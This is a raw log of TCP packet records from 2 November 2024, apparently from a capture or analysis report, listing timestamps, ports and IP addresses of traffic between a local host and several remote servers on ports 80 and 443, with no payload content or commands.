Nov 2, 2024 07:16:15.762197971 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762208939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762218952 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762219906 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762231112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762233973 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762255907 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762285948 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762295008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762309074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762319088 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762332916 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762336969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762341976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762347937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762356997 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762361050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762382984 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762398958 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762407064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762409925 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762420893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762429953 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762442112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762450933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762475014 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762476921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762487888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762489080 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762499094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762501955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762511969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762521982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762531996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762532949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762531996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762547970 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762558937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762569904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762578011 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762595892 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762608051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762614012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762624025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762633085 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762655973 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762662888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762669086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762679100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762689114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762700081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762713909 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762723923 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762797117 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762866974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762883902 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762896061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762906075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762906075 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762917995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762918949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762942076 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762964964 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.763005018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.763015985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.763025045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.763046980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.763067007 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.763084888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.763094902 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.763134003 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.763988018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.764029980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.764051914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.764061928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.764096022 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.764111042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.764122963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.764132977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.764143944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.764153004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.764170885 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.764199972 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.781563044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.781860113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.782988071 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.783001900 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.783013105 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.783019066 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.784281969 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.784281969 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.784313917 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.784331083 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.787420034 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.787448883 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.787497997 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.788686037 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.788717031 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.788815975 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.788842916 CET	63837	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.788862944 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.788919926 CET	63837	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.789201021 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.789213896 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.790126085 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.790141106 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.790224075 CET	63837	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.790237904 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.790323973 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.790332079 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.790379047 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.790456057 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.790469885 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.931607962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931619883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931629896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931639910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931648970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931658030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.931664944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931682110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931682110 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.931691885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931700945 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931711912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931715012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.931723118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931732893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.931736946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.931752920 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.931777000 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099073887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099117994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099128008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099137068 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099176884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099216938 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099229097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099240065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099258900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099260092 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099271059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099282980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099284887 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099292994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099315882 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099328995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099355936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099365950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099376917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099389076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099400043 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099400043 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099412918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099422932 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099425077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099438906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099466085 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.099541903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.099695921 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.222148895 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.222533941 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.222556114 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.222943068 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.222948074 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.252408028 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:16.253547907 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:16.267040968 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267052889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267070055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267080069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267086983 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267091036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267102957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267116070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267122030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267137051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267143965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267152071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267163038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267172098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267183065 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267206907 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267268896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267286062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267302990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267321110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267328978 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267332077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267338037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267342091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267354965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267370939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267379999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267385960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267391920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267395973 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267401934 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267404079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267404079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267405987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267415047 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267421007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267429113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267442942 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267467022 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.267528057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267538071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.267580032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.385070086 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.385107040 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.385155916 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.385205984 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.385333061 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.385345936 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.385356903 CET	63834	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.385361910 CET	443	63834	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.388694048 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.388726950 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.388784885 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.389108896 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.389120102 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.434628963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434669018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434674025 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434681892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434717894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434719086 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434729099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434740067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434758902 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434761047 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434775114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434781075 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434787989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434797049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434803963 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434818029 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434818983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434823990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434830904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434845924 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434854984 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434870005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434876919 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434880972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434892893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434906006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434916019 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434920073 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434930086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.434948921 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434967995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.434999943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435010910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435038090 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435039997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435053110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435060024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435062885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435070038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435075045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435081959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435106039 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435127974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435169935 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435201883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435213089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435214996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435225010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435234070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435237885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435249090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435255051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435273886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435285091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435285091 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435296059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435302019 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435328007 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435329914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435342073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435354948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435358047 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435365915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435389042 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435417891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435420990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435429096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435441017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435442924 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435452938 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435465097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435487032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435673952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435683966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435693026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435705900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435715914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435724020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435735941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435746908 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435749054 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435762882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435770988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435775995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435780048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435790062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435801983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435810089 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435832024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435853958 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435880899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435892105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435906887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435914040 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435918093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435930014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435935974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435942888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435944080 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435956955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435966969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435971022 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435978889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435983896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.435990095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.435997009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436002016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436017036 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436029911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436037064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436042070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436053991 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436074018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436093092 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436105013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436115980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436132908 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436136961 CET	63819	80	192.168.2.4	185.215.113.16
